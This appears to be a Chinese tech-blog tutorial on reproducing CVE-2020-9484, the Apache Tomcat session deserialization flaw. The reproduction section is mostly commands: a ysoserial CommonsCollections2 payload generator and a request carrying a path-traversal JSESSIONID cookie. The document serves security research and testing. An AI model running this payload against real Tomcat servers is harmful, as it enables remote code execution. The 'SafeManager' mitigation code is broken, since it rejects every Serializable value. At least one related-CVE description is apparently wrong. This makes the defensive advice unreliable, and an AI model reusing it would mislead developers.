溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行CVE-2020-9484 TomcatSession反序列化復現

發布時間:2021-12-17 16:25:19 來源:億速云 閱讀:295 作者:柒染 欄目:安全技術
# 如何進行CVE-2020-9484 TomcatSession反序列化復現

## 漏洞概述

CVE-2020-9484是Apache Tomcat中的一個高危反序列化漏洞,影響版本包括:
- 10.0.0-M1至10.0.0-M4
- 9.0.0.M1至9.0.34
- 8.5.0至8.5.54
- 7.0.0至7.0.103

當Tomcat配置了**PersistentManager**并啟用**FileStore**存儲會話時,攻擊者可通過精心構造的惡意session對象實現遠程代碼執行(RCE)。

## 環境搭建

### 1. 準備漏洞環境
```bash
# 下載受影響版本的Tomcat(示例使用8.5.54)
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.54/bin/apache-tomcat-8.5.54.tar.gz
tar -xvf apache-tomcat-8.5.54.tar.gz
cd apache-tomcat-8.5.54

2. 配置PersistentManager

修改conf/context.xml

<Manager className="org.apache.catalina.session.PersistentManager">
  <Store className="org.apache.catalina.session.FileStore" 
         directory="/path/to/sessions"/>
</Manager>

3. 部署測試應用

webapps/ROOT/WEB-INF/web.xml中添加:

<distributable/>

漏洞復現步驟

1. 生成惡意序列化數據

使用ysoserial生成Payload(示例使用CommonsCollections2):

java -jar ysoserial.jar CommonsCollections2 "touch /tmp/pwned" > session.ser

2. 構造惡意請求

將序列化文件上傳至FileStore目錄后,通過Cookie控制session ID:

GET / HTTP/1.1
Host: vulnerable-server:8080
Cookie: JSESSIONID=../../../../../../../../path/to/sessions/exp

3. 驗證執行結果

檢查目標服務器是否創建文件:

ls -la /tmp/pwned

技術原理分析

漏洞產生于三個關鍵條件同時滿足: 1. PersistentManager啟用:會話持久化到存儲系統 2. FileStore配置:會話數據以文件形式存儲 3. 可預測的session路徑:攻擊者可控制session文件位置

攻擊鏈:

惡意序列化數據 -> 文件上傳 -> Session反序列化 -> RCE

防御措施

臨時解決方案

  1. 禁用PersistentManager
  2. 升級至修復版本:
    • 10.0.0-M5+
    • 9.0.35+
    • 8.5.55+
    • 7.0.104+

長期建議

// 實現自定義Session管理器時添加過濾
public class SafeManager extends ManagerBase {
    @Override
    protected void checkSessionAttribute(String name, Object value) {
        if (value instanceof Serializable) {
            throw new IllegalArgumentException("Unsafe serialization attempt");
        }
    }
}

擴展知識

相關CVE

  • CVE-2020-9480:Tomcat RCE via JNDI
  • CVE-2019-0232:Tomcat CGI Servlet RCE

檢測腳本示例

import requests

def check_cve_2020_9484(url):
    try:
        res = requests.get(f"{url}/", cookies={"JSESSIONID": "../../../test"})
        return "java.io.FileNotFoundException" in res.text
    except:
        return False

法律聲明

本文僅用于安全研究目的,未經授權不得對實際系統進行測試。根據《網絡安全法》第二十七條,任何個人和組織不得從事非法侵入他人網絡等危害網絡安全的活動。


作者:安全研究員
更新日期:2023年11月
關鍵詞:Apache Tomcat, 反序列化, RCE, 漏洞復現 “`

注:實際復現時需注意: 1. 確保測試環境隔離 2. 不同Tomcat版本可能需要調整Payload 3. 文件路徑需要根據實際環境修改 4. 建議使用docker容器快速搭建測試環境

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女